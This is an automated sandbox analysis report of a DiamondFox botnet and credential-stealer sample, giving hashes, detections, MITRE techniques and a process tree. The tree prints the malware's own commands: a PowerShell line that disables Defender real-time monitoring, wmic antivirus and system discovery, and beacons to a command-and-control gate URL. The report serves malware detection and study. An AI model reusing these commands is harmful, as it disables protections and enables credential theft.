diamondfox | 3ecf2f7b5f8f62572e6006aa6b0ad2c0b7df2bc1fc494f026608c2852113a187

Analysis

max time kernel
148s
max time network
150s
platform
windows10_x64
resource
win10v20210408
submitted
03/07/2021, 23:55

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

mixazed_20210703-205320.exe
Size

1.8MB
MD5

8703d31eadccffa270ba764a35dfd548
SHA1

6dd74fef8122095da64955abd99f38421629445d
SHA256

3ecf2f7b5f8f62572e6006aa6b0ad2c0b7df2bc1fc494f026608c2852113a187
SHA512

f8a878ca57208128dd2e9452ede5596aad819f2cab6d80fb71d7ea3baf1e6df540f28c000cbd64ecdd19e9fbb021ab03ea6050bc1f851a9524cf7d22ea4fd6a2

Score

10^/10

diamondfox xenarmor botnet discovery password recovery spyware stealer upx

Malware Config

Signatures

DiamondFox
DiamondFox is a multipurpose botnet with many capabilities.
botnet stealer diamondfox
XenArmor Suite
XenArmor is as suite of password recovery tools for various application.
recovery password xenarmor

ACProtect 1.3x - 1.4x DLL software 2 IoCs

Detects file using ACProtect software.

resource	yara_rule
behavioral2/files/0x000100000001ab62-141.dat	acprotect
behavioral2/files/0x000100000001ab62-142.dat	acprotect

DiamondFox payload 12 IoCs

Detects DiamondFox payload in file/memory.

resource	yara_rule
behavioral2/files/0x00030000000155ab-131.dat	diamondfox
behavioral2/files/0x00030000000155ab-132.dat	diamondfox
behavioral2/files/0x0002000000015600-146.dat	diamondfox
behavioral2/files/0x0002000000015600-147.dat	diamondfox
behavioral2/files/0x0002000000015600-217.dat	diamondfox
behavioral2/files/0x0002000000015600-221.dat	diamondfox
behavioral2/files/0x0002000000015600-227.dat	diamondfox
behavioral2/files/0x0002000000015600-230.dat	diamondfox
behavioral2/files/0x0002000000015600-233.dat	diamondfox
behavioral2/files/0x0002000000015600-236.dat	diamondfox
behavioral2/files/0x0002000000015600-239.dat	diamondfox
behavioral2/files/0x0002000000015600-243.dat	diamondfox

NirSoft MailPassView 2 IoCs

Password recovery tool for various email clients

resource	yara_rule
behavioral2/memory/4024-229-0x000000000044412E-mapping.dmp	MailPassView
behavioral2/memory/4024-231-0x0000000000400000-0x0000000000455000-memory.dmp	MailPassView

NirSoft WebBrowserPassView 2 IoCs

Password recovery tool for various web browsers

resource	yara_rule
behavioral2/memory/640-216-0x00000000004466F4-mapping.dmp	WebBrowserPassView
behavioral2/memory/640-218-0x0000000000400000-0x000000000047C000-memory.dmp	WebBrowserPassView

Nirsoft 6 IoCs

resource	yara_rule
behavioral2/memory/640-216-0x00000000004466F4-mapping.dmp	Nirsoft
behavioral2/memory/640-218-0x0000000000400000-0x000000000047C000-memory.dmp	Nirsoft
behavioral2/memory/2516-226-0x0000000000413E10-mapping.dmp	Nirsoft
behavioral2/memory/2516-228-0x0000000000400000-0x0000000000422000-memory.dmp	Nirsoft
behavioral2/memory/4024-229-0x000000000044412E-mapping.dmp	Nirsoft
behavioral2/memory/4024-231-0x0000000000400000-0x0000000000455000-memory.dmp	Nirsoft

Downloads MZ/PE file

Executes dropped EXE 13 IoCs

pid	Process
3980	d1m5VMTVxQYJevtn.exe
2216	Dv8Gy0Af.exe
3128	Dv8Gy0Af.exe
904	MicrosoftEdgeCPS.exe
640	MicrosoftEdgeCPS.exe
580	MicrosoftEdgeCPS.exe
2516	MicrosoftEdgeCPS.exe
4024	MicrosoftEdgeCPS.exe
2308	MicrosoftEdgeCPS.exe
3856	MicrosoftEdgeCPS.exe
1272	MicrosoftEdgeCPS.exe
2360	MicrosoftEdgeCPS.exe
416	UFvoOnkW5oFfKmyk.exe

UPX packed file 4 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/3140-127-0x0000000000400000-0x00000000007E4000-memory.dmp	upx
behavioral2/memory/3140-129-0x0000000000400000-0x00000000007E4000-memory.dmp	upx
behavioral2/memory/2216-133-0x0000000000400000-0x00000000008DC000-memory.dmp	upx
behavioral2/memory/2216-137-0x0000000000400000-0x00000000008DC000-memory.dmp	upx

Loads dropped DLL 1 IoCs

pid	Process
3128	Dv8Gy0Af.exe

Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads local data of messenger clients 2 TTPs
Infostealers often target stored data of messaging applications, which can include saved credentials and account information.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Suspicious use of NtSetInformationThreadHideFromDebugger 5 IoCs

pid	Process
3140	mixazed_20210703-205320.exe
3140	mixazed_20210703-205320.exe
3140	mixazed_20210703-205320.exe
3140	mixazed_20210703-205320.exe
3140	mixazed_20210703-205320.exe

Suspicious use of SetThreadContext 11 IoCs

description	pid	Process	procid_target
PID 740 set thread context of 3140	740	mixazed_20210703-205320.exe	81
PID 3140 set thread context of 2216	3140	mixazed_20210703-205320.exe	85
PID 2216 set thread context of 3128	2216	Dv8Gy0Af.exe	86
PID 904 set thread context of 640	904	MicrosoftEdgeCPS.exe	108
PID 904 set thread context of 580	904	MicrosoftEdgeCPS.exe	109
PID 904 set thread context of 2516	904	MicrosoftEdgeCPS.exe	110
PID 904 set thread context of 4024	904	MicrosoftEdgeCPS.exe	111
PID 904 set thread context of 2308	904	MicrosoftEdgeCPS.exe	112
PID 904 set thread context of 3856	904	MicrosoftEdgeCPS.exe	115
PID 904 set thread context of 1272	904	MicrosoftEdgeCPS.exe	116
PID 904 set thread context of 2360	904	MicrosoftEdgeCPS.exe	117

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Kills process with taskkill 4 IoCs

evasion

pid	Process
2820	taskkill.exe
1164	taskkill.exe
1216	taskkill.exe
1512	taskkill.exe

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

pid	Process
3772	notepad.exe

Suspicious behavior: EnumeratesProcesses 32 IoCs

pid	Process
740	mixazed_20210703-205320.exe
740	mixazed_20210703-205320.exe
740	mixazed_20210703-205320.exe
740	mixazed_20210703-205320.exe
740	mixazed_20210703-205320.exe
740	mixazed_20210703-205320.exe
740	mixazed_20210703-205320.exe
740	mixazed_20210703-205320.exe
740	mixazed_20210703-205320.exe
740	mixazed_20210703-205320.exe
740	mixazed_20210703-205320.exe
740	mixazed_20210703-205320.exe
740	mixazed_20210703-205320.exe
740	mixazed_20210703-205320.exe
3128	Dv8Gy0Af.exe
3128	Dv8Gy0Af.exe
492	powershell.exe
3036	powershell.exe
492	powershell.exe
3036	powershell.exe
3036	powershell.exe
492	powershell.exe
904	MicrosoftEdgeCPS.exe
904	MicrosoftEdgeCPS.exe
640	MicrosoftEdgeCPS.exe
640	MicrosoftEdgeCPS.exe
640	MicrosoftEdgeCPS.exe
640	MicrosoftEdgeCPS.exe
2516	MicrosoftEdgeCPS.exe
2516	MicrosoftEdgeCPS.exe
904	MicrosoftEdgeCPS.exe
904	MicrosoftEdgeCPS.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	740	mixazed_20210703-205320.exe
Token: SeShutdownPrivilege	3140	mixazed_20210703-205320.exe
Token: SeDebugPrivilege	3128	Dv8Gy0Af.exe
Token: SeDebugPrivilege	3036	powershell.exe
Token: SeDebugPrivilege	492	powershell.exe
Token: SeIncreaseQuotaPrivilege	580	wmic.exe
Token: SeSecurityPrivilege	580	wmic.exe
Token: SeTakeOwnershipPrivilege	580	wmic.exe
Token: SeLoadDriverPrivilege	580	wmic.exe
Token: SeSystemProfilePrivilege	580	wmic.exe
Token: SeSystemtimePrivilege	580	wmic.exe
Token: SeProfSingleProcessPrivilege	580	wmic.exe
Token: SeIncBasePriorityPrivilege	580	wmic.exe
Token: SeCreatePagefilePrivilege	580	wmic.exe
Token: SeBackupPrivilege	580	wmic.exe
Token: SeRestorePrivilege	580	wmic.exe
Token: SeShutdownPrivilege	580	wmic.exe
Token: SeSystemEnvironmentPrivilege	580	wmic.exe
Token: SeRemoteShutdownPrivilege	580	wmic.exe
Token: SeUndockPrivilege	580	wmic.exe
Token: SeManageVolumePrivilege	580	wmic.exe
Token: 33	580	wmic.exe
Token: 34	580	wmic.exe
Token: 35	580	wmic.exe
Token: 36	580	wmic.exe
Token: SeIncreaseQuotaPrivilege	580	wmic.exe
Token: SeSecurityPrivilege	580	wmic.exe
Token: SeTakeOwnershipPrivilege	580	wmic.exe
Token: SeLoadDriverPrivilege	580	wmic.exe
Token: SeSystemProfilePrivilege	580	wmic.exe
Token: SeSystemtimePrivilege	580	wmic.exe
Token: SeProfSingleProcessPrivilege	580	wmic.exe
Token: SeIncBasePriorityPrivilege	580	wmic.exe
Token: SeCreatePagefilePrivilege	580	wmic.exe
Token: SeBackupPrivilege	580	wmic.exe
Token: SeRestorePrivilege	580	wmic.exe
Token: SeShutdownPrivilege	580	wmic.exe
Token: SeSystemEnvironmentPrivilege	580	wmic.exe
Token: SeRemoteShutdownPrivilege	580	wmic.exe
Token: SeUndockPrivilege	580	wmic.exe
Token: SeManageVolumePrivilege	580	wmic.exe
Token: 33	580	wmic.exe
Token: 34	580	wmic.exe
Token: 35	580	wmic.exe
Token: 36	580	wmic.exe
Token: SeIncreaseQuotaPrivilege	2232	wmic.exe
Token: SeSecurityPrivilege	2232	wmic.exe
Token: SeTakeOwnershipPrivilege	2232	wmic.exe
Token: SeLoadDriverPrivilege	2232	wmic.exe
Token: SeSystemProfilePrivilege	2232	wmic.exe
Token: SeSystemtimePrivilege	2232	wmic.exe
Token: SeProfSingleProcessPrivilege	2232	wmic.exe
Token: SeIncBasePriorityPrivilege	2232	wmic.exe
Token: SeCreatePagefilePrivilege	2232	wmic.exe
Token: SeBackupPrivilege	2232	wmic.exe
Token: SeRestorePrivilege	2232	wmic.exe
Token: SeShutdownPrivilege	2232	wmic.exe
Token: SeSystemEnvironmentPrivilege	2232	wmic.exe
Token: SeRemoteShutdownPrivilege	2232	wmic.exe
Token: SeUndockPrivilege	2232	wmic.exe
Token: SeManageVolumePrivilege	2232	wmic.exe
Token: 33	2232	wmic.exe
Token: 34	2232	wmic.exe
Token: 35	2232	wmic.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
3140	mixazed_20210703-205320.exe
3140	mixazed_20210703-205320.exe
580	MicrosoftEdgeCPS.exe
3856	MicrosoftEdgeCPS.exe
1272	MicrosoftEdgeCPS.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 740 wrote to memory of 2844	740	mixazed_20210703-205320.exe	78
PID 740 wrote to memory of 2844	740	mixazed_20210703-205320.exe	78
PID 740 wrote to memory of 2844	740	mixazed_20210703-205320.exe	78
PID 740 wrote to memory of 3468	740	mixazed_20210703-205320.exe	79
PID 740 wrote to memory of 3468	740	mixazed_20210703-205320.exe	79
PID 740 wrote to memory of 3468	740	mixazed_20210703-205320.exe	79
PID 740 wrote to memory of 2252	740	mixazed_20210703-205320.exe	80
PID 740 wrote to memory of 2252	740	mixazed_20210703-205320.exe	80
PID 740 wrote to memory of 2252	740	mixazed_20210703-205320.exe	80
PID 740 wrote to memory of 3140	740	mixazed_20210703-205320.exe	81
PID 740 wrote to memory of 3140	740	mixazed_20210703-205320.exe	81
PID 740 wrote to memory of 3140	740	mixazed_20210703-205320.exe	81
PID 740 wrote to memory of 3140	740	mixazed_20210703-205320.exe	81
PID 740 wrote to memory of 3140	740	mixazed_20210703-205320.exe	81
PID 740 wrote to memory of 3140	740	mixazed_20210703-205320.exe	81
PID 740 wrote to memory of 3140	740	mixazed_20210703-205320.exe	81
PID 3140 wrote to memory of 3980	3140	mixazed_20210703-205320.exe	82
PID 3140 wrote to memory of 3980	3140	mixazed_20210703-205320.exe	82
PID 3140 wrote to memory of 3980	3140	mixazed_20210703-205320.exe	82
PID 3140 wrote to memory of 2268	3140	mixazed_20210703-205320.exe	84
PID 3140 wrote to memory of 2268	3140	mixazed_20210703-205320.exe	84
PID 3140 wrote to memory of 2268	3140	mixazed_20210703-205320.exe	84
PID 3140 wrote to memory of 2216	3140	mixazed_20210703-205320.exe	85
PID 3140 wrote to memory of 2216	3140	mixazed_20210703-205320.exe	85
PID 3140 wrote to memory of 2216	3140	mixazed_20210703-205320.exe	85
PID 3140 wrote to memory of 2216	3140	mixazed_20210703-205320.exe	85
PID 3140 wrote to memory of 2216	3140	mixazed_20210703-205320.exe	85
PID 3140 wrote to memory of 2216	3140	mixazed_20210703-205320.exe	85
PID 3140 wrote to memory of 2216	3140	mixazed_20210703-205320.exe	85
PID 3140 wrote to memory of 2216	3140	mixazed_20210703-205320.exe	85
PID 2216 wrote to memory of 3128	2216	Dv8Gy0Af.exe	86
PID 2216 wrote to memory of 3128	2216	Dv8Gy0Af.exe	86
PID 2216 wrote to memory of 3128	2216	Dv8Gy0Af.exe	86
PID 2216 wrote to memory of 3128	2216	Dv8Gy0Af.exe	86
PID 2216 wrote to memory of 3128	2216	Dv8Gy0Af.exe	86
PID 2216 wrote to memory of 3128	2216	Dv8Gy0Af.exe	86
PID 2216 wrote to memory of 3128	2216	Dv8Gy0Af.exe	86
PID 2216 wrote to memory of 3128	2216	Dv8Gy0Af.exe	86
PID 3980 wrote to memory of 904	3980	d1m5VMTVxQYJevtn.exe	88
PID 3980 wrote to memory of 904	3980	d1m5VMTVxQYJevtn.exe	88
PID 3980 wrote to memory of 904	3980	d1m5VMTVxQYJevtn.exe	88
PID 3980 wrote to memory of 3036	3980	d1m5VMTVxQYJevtn.exe	92
PID 3980 wrote to memory of 3036	3980	d1m5VMTVxQYJevtn.exe	92
PID 3980 wrote to memory of 3036	3980	d1m5VMTVxQYJevtn.exe	92
PID 904 wrote to memory of 492	904	MicrosoftEdgeCPS.exe	89
PID 904 wrote to memory of 492	904	MicrosoftEdgeCPS.exe	89
PID 904 wrote to memory of 492	904	MicrosoftEdgeCPS.exe	89
PID 904 wrote to memory of 580	904	MicrosoftEdgeCPS.exe	93
PID 904 wrote to memory of 580	904	MicrosoftEdgeCPS.exe	93
PID 904 wrote to memory of 580	904	MicrosoftEdgeCPS.exe	93
PID 904 wrote to memory of 2232	904	MicrosoftEdgeCPS.exe	95
PID 904 wrote to memory of 2232	904	MicrosoftEdgeCPS.exe	95
PID 904 wrote to memory of 2232	904	MicrosoftEdgeCPS.exe	95
PID 904 wrote to memory of 2532	904	MicrosoftEdgeCPS.exe	106
PID 904 wrote to memory of 2532	904	MicrosoftEdgeCPS.exe	106
PID 904 wrote to memory of 2532	904	MicrosoftEdgeCPS.exe	106
PID 904 wrote to memory of 640	904	MicrosoftEdgeCPS.exe	100
PID 904 wrote to memory of 640	904	MicrosoftEdgeCPS.exe	100
PID 904 wrote to memory of 640	904	MicrosoftEdgeCPS.exe	100
PID 904 wrote to memory of 2864	904	MicrosoftEdgeCPS.exe	102
PID 904 wrote to memory of 2864	904	MicrosoftEdgeCPS.exe	102
PID 904 wrote to memory of 2864	904	MicrosoftEdgeCPS.exe	102
PID 904 wrote to memory of 688	904	MicrosoftEdgeCPS.exe	104
PID 904 wrote to memory of 688	904	MicrosoftEdgeCPS.exe	104

C:\Users\Admin\AppData\Local\Temp\mixazed_20210703-205320.exe
"C:\Users\Admin\AppData\Local\Temp\mixazed_20210703-205320.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:740
- C:\Users\Admin\AppData\Local\Temp\mixazed_20210703-205320.exe
  C:\Users\Admin\AppData\Local\Temp\mixazed_20210703-205320.exe
  2⤵
  PID:2844
- C:\Users\Admin\AppData\Local\Temp\mixazed_20210703-205320.exe
  C:\Users\Admin\AppData\Local\Temp\mixazed_20210703-205320.exe
  2⤵
  PID:3468
- C:\Users\Admin\AppData\Local\Temp\mixazed_20210703-205320.exe
  C:\Users\Admin\AppData\Local\Temp\mixazed_20210703-205320.exe
  2⤵
  PID:2252
- C:\Users\Admin\AppData\Local\Temp\mixazed_20210703-205320.exe
  C:\Users\Admin\AppData\Local\Temp\mixazed_20210703-205320.exe
  2⤵
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of SetThreadContext
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:3140
- - C:\Users\Admin\AppData\Local\Temp\d1m5VMTVxQYJevtn.exe
    "C:\Users\Admin\AppData\Local\Temp\d1m5VMTVxQYJevtn.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:3980
  - - C:\Users\Admin\AppData\Roaming\EdgeCP\MicrosoftEdgeCPS.exe
      "C:\Users\Admin\AppData\Roaming\EdgeCP\MicrosoftEdgeCPS.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:904
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Set-MpPreference -DisableRealtimeMonitoring 1
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:492
    - - C:\Windows\SysWOW64\Wbem\wmic.exe
        
        "wmic" /Node:localhost /Namespace:\\root\SecurityCenter2 path AntiVirusProduct get DisplayName /FORMAT:List
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:580
    - - C:\Windows\SysWOW64\Wbem\wmic.exe
        
        "wmic" os get caption /FORMAT:List
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:2232
    - - C:\Windows\SysWOW64\Wbem\wmic.exe
        
        "wmic" path win32_VideoController get caption /FORMAT:List
        5⤵
        
        PID:2532
    - - C:\Windows\SysWOW64\Wbem\wmic.exe
        
        "wmic" path win32_NetworkAdapterConfiguration where IPEnabled=1 get IPAddress /FORMAT:List
        5⤵
        
        PID:640
    - - C:\Windows\SysWOW64\Wbem\wmic.exe
        
        "wmic" LogicalDisk Where DriveType=4 get VolumeName /FORMAT:List
        5⤵
        
        PID:2864
    - - C:\Windows\SysWOW64\Wbem\wmic.exe
        
        "wmic" path win32_PingStatus where address='diamond.serivice.com' get StatusCode /FORMAT:List
        5⤵
        
        PID:688
    - - C:\Windows\SysWOW64\Wbem\wmic.exe
        
        "wmic" path win32_PingStatus where address='diamond.serivice.com' get ResponseTime /FORMAT:List
        5⤵
        
        PID:2532
    - - C:\Users\Admin\AppData\Roaming\EdgeCP\MicrosoftEdgeCPS.exe
        
        /scomma "C:\Users\Admin\AppData\Local\Temp\1.log"
        5⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:640
    - - C:\Users\Admin\AppData\Roaming\EdgeCP\MicrosoftEdgeCPS.exe
        
        /scomma "C:\Users\Admin\AppData\Local\Temp\4.log"
        5⤵
        Executes dropped EXE
        Suspicious use of SetWindowsHookEx
        
        PID:580
    - - C:\Users\Admin\AppData\Roaming\EdgeCP\MicrosoftEdgeCPS.exe
        
        /scomma "C:\Users\Admin\AppData\Local\Temp\2.log"
        5⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:2516
    - - C:\Users\Admin\AppData\Roaming\EdgeCP\MicrosoftEdgeCPS.exe
        
        /scomma "C:\Users\Admin\AppData\Local\Temp\3.log"
        5⤵
        Executes dropped EXE
        
        PID:4024
    - - C:\Users\Admin\AppData\Roaming\EdgeCP\MicrosoftEdgeCPS.exe
        
        X http://diamond.serivice.com/panel/gate.php*Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36 Vivaldi/3.5*f272b772399b50913c7637633c5ac5d8
        5⤵
        Executes dropped EXE
        
        PID:2308
      - C:\Windows\notepad.exe
        
        X C:\Users\Admin\AppData\Roaming\EdgeCP\MicrosoftEdgeCPS.exe
        6⤵
        Opens file in notepad (likely ransom note)
        
        PID:3772
      - C:\Windows\write.exe
        
        X C:\Users\Admin\AppData\Roaming\EdgeCP\MicrosoftEdgeCPS.exe
        6⤵
        
        PID:3548
    - - C:\Users\Admin\AppData\Roaming\EdgeCP\MicrosoftEdgeCPS.exe
        
        X http://diamond.serivice.com/panel/gate.php*Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36 Vivaldi/3.5*f272b772399b50913c7637633c5ac5d8
        5⤵
        Executes dropped EXE
        Suspicious use of SetWindowsHookEx
        
        PID:3856
    - - C:\Users\Admin\AppData\Roaming\EdgeCP\MicrosoftEdgeCPS.exe
        
        X http://diamond.serivice.com/panel/gate.php*Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36 Vivaldi/3.5*f272b772399b50913c7637633c5ac5d8
        5⤵
        Executes dropped EXE
        Suspicious use of SetWindowsHookEx
        
        PID:1272
    - - C:\Users\Admin\AppData\Roaming\EdgeCP\MicrosoftEdgeCPS.exe
        
        X http://diamond.serivice.com/panel/gate.php*Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36 Vivaldi/3.5*f272b772399b50913c7637633c5ac5d8
        5⤵
        Executes dropped EXE
        
        PID:2360
    - - C:\Windows\SysWOW64\Wbem\wmic.exe
        
        "wmic" path win32_PingStatus where address='diamond.serivice.com' get StatusCode /FORMAT:List
        5⤵
        
        PID:2948
    - - C:\Windows\SysWOW64\Wbem\wmic.exe
        
        "wmic" path win32_PingStatus where address='diamond.serivice.com' get ResponseTime /FORMAT:List
        5⤵
        
        PID:1284
    - - C:\Windows\SysWOW64\taskkill.exe
        
        "taskkill" /PID 2308 /F
        5⤵
        Kills process with taskkill
        
        PID:2820
    - - C:\Windows\SysWOW64\taskkill.exe
        
        "taskkill" /PID 1272 /F
        5⤵
        Kills process with taskkill
        
        PID:1164
    - - C:\Windows\SysWOW64\taskkill.exe
        
        "taskkill" /PID 2360 /F
        5⤵
        Kills process with taskkill
        
        PID:1216
    - - C:\Windows\SysWOW64\taskkill.exe
        
        "taskkill" /PID 3856 /F
        5⤵
        Kills process with taskkill
        
        PID:1512
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell" Start-Sleep -s 10; Remove-Item -Path 'C:\Users\Admin\AppData\Local\Temp\d1m5VMTVxQYJevtn.exe' -Force -Recurse
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3036
- - C:\Users\Admin\AppData\Local\Temp\mixazed_20210703-205320.exe
    -a "C:\Users\Admin\AppData\Local\19f50722\plg\AZWebfys.json"
    3⤵
    PID:2268
- - C:\Users\Admin\AppData\Local\Temp\Dv8Gy0Af.exe
    -a "C:\Users\Admin\AppData\Local\19f50722\plg\AZWebfys.json"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Suspicious use of WriteProcessMemory
    PID:2216
  - - C:\Users\Admin\AppData\Local\Temp\Dv8Gy0Af.exe
      -a "C:\Users\Admin\AppData\Local\Temp\unk.xml"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3128
- - C:\Users\Admin\AppData\Local\Temp\UFvoOnkW5oFfKmyk.exe
    "C:\Users\Admin\AppData\Local\Temp\UFvoOnkW5oFfKmyk.exe"
    3⤵
    - Executes dropped EXE
    PID:416

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/416-256-0x0000000004D30000-0x000000000522E000-memory.dmp

Filesize
5.0MB

Download
memory/416-255-0x0000000004D30000-0x000000000522E000-memory.dmp

Filesize
5.0MB

Download
memory/492-198-0x00000000093B0000-0x00000000093E3000-memory.dmp

Filesize
204KB

Download
memory/492-213-0x00000000098E0000-0x00000000098E1000-memory.dmp

Filesize
4KB

Download
memory/492-209-0x000000007EE10000-0x000000007EE11000-memory.dmp

Filesize
4KB

Download
memory/492-158-0x0000000004B70000-0x0000000004B71000-memory.dmp

Filesize
4KB

Download
memory/492-160-0x0000000004B72000-0x0000000004B73000-memory.dmp

Filesize
4KB

Download
memory/492-211-0x00000000094F0000-0x00000000094F1000-memory.dmp

Filesize
4KB

Download
memory/492-174-0x0000000007D20000-0x0000000007D21000-memory.dmp

Filesize
4KB

Download
memory/492-215-0x0000000004B73000-0x0000000004B74000-memory.dmp

Filesize
4KB

Download
memory/492-165-0x0000000007570000-0x0000000007571000-memory.dmp

Filesize
4KB

Download
memory/492-167-0x0000000007E60000-0x0000000007E61000-memory.dmp

Filesize
4KB

Download
memory/492-169-0x0000000007C80000-0x0000000007C81000-memory.dmp

Filesize
4KB

Download
memory/492-171-0x0000000007F10000-0x0000000007F11000-memory.dmp

Filesize
4KB

Download
memory/492-205-0x00000000086E0000-0x00000000086E1000-memory.dmp

Filesize
4KB

Download
memory/580-222-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/640-218-0x0000000000400000-0x000000000047C000-memory.dmp

Filesize
496KB

Download
memory/740-126-0x00000000011C0000-0x0000000001225000-memory.dmp

Filesize
404KB

Download
memory/740-114-0x00000000008E0000-0x00000000008E1000-memory.dmp

Filesize
4KB

Download
memory/740-116-0x00000000058D0000-0x00000000058D1000-memory.dmp

Filesize
4KB

Download
memory/740-117-0x0000000005320000-0x0000000005321000-memory.dmp

Filesize
4KB

Download
memory/740-118-0x0000000002E30000-0x0000000002EC2000-memory.dmp

Filesize
584KB

Download
memory/740-119-0x0000000002EA0000-0x0000000002EA1000-memory.dmp

Filesize
4KB

Download
memory/740-120-0x0000000002E30000-0x0000000002EC2000-memory.dmp

Filesize
584KB

Download
memory/740-121-0x0000000008930000-0x0000000008AD4000-memory.dmp

Filesize
1.6MB

Download
memory/1272-241-0x0000000000400000-0x0000000000406000-memory.dmp

Filesize
24KB

Download
memory/2216-137-0x0000000000400000-0x00000000008DC000-memory.dmp

Filesize
4.9MB

Download
memory/2216-133-0x0000000000400000-0x00000000008DC000-memory.dmp

Filesize
4.9MB

Download
memory/2308-234-0x0000000000400000-0x0000000000413000-memory.dmp

Filesize
76KB

Download
memory/2360-247-0x0000000000400000-0x0000000000431000-memory.dmp

Filesize
196KB

Download
memory/2516-228-0x0000000000400000-0x0000000000422000-memory.dmp

Filesize
136KB

Download
memory/3036-176-0x0000000007DC0000-0x0000000007DC1000-memory.dmp

Filesize
4KB

Download
memory/3036-156-0x0000000006E60000-0x0000000006E61000-memory.dmp

Filesize
4KB

Download
memory/3036-197-0x0000000008AF0000-0x0000000008AF1000-memory.dmp

Filesize
4KB

Download
memory/3036-192-0x0000000009540000-0x0000000009541000-memory.dmp

Filesize
4KB

Download
memory/3036-179-0x0000000007E90000-0x0000000007E91000-memory.dmp

Filesize
4KB

Download
memory/3036-155-0x00000000042D0000-0x00000000042D1000-memory.dmp

Filesize
4KB

Download
memory/3036-161-0x0000000006822000-0x0000000006823000-memory.dmp

Filesize
4KB

Download
memory/3036-159-0x0000000006820000-0x0000000006821000-memory.dmp

Filesize
4KB

Download
memory/3036-223-0x0000000006823000-0x0000000006824000-memory.dmp

Filesize
4KB

Download
memory/3128-144-0x0000000000400000-0x00000000006FE000-memory.dmp

Filesize
3.0MB

Download
memory/3128-138-0x0000000000400000-0x00000000006FE000-memory.dmp

Filesize
3.0MB

Download
memory/3140-129-0x0000000000400000-0x00000000007E4000-memory.dmp

Filesize
3.9MB

Download
memory/3140-127-0x0000000000400000-0x00000000007E4000-memory.dmp

Filesize
3.9MB

Download
memory/3856-240-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4024-231-0x0000000000400000-0x0000000000455000-memory.dmp

Filesize
340KB

Download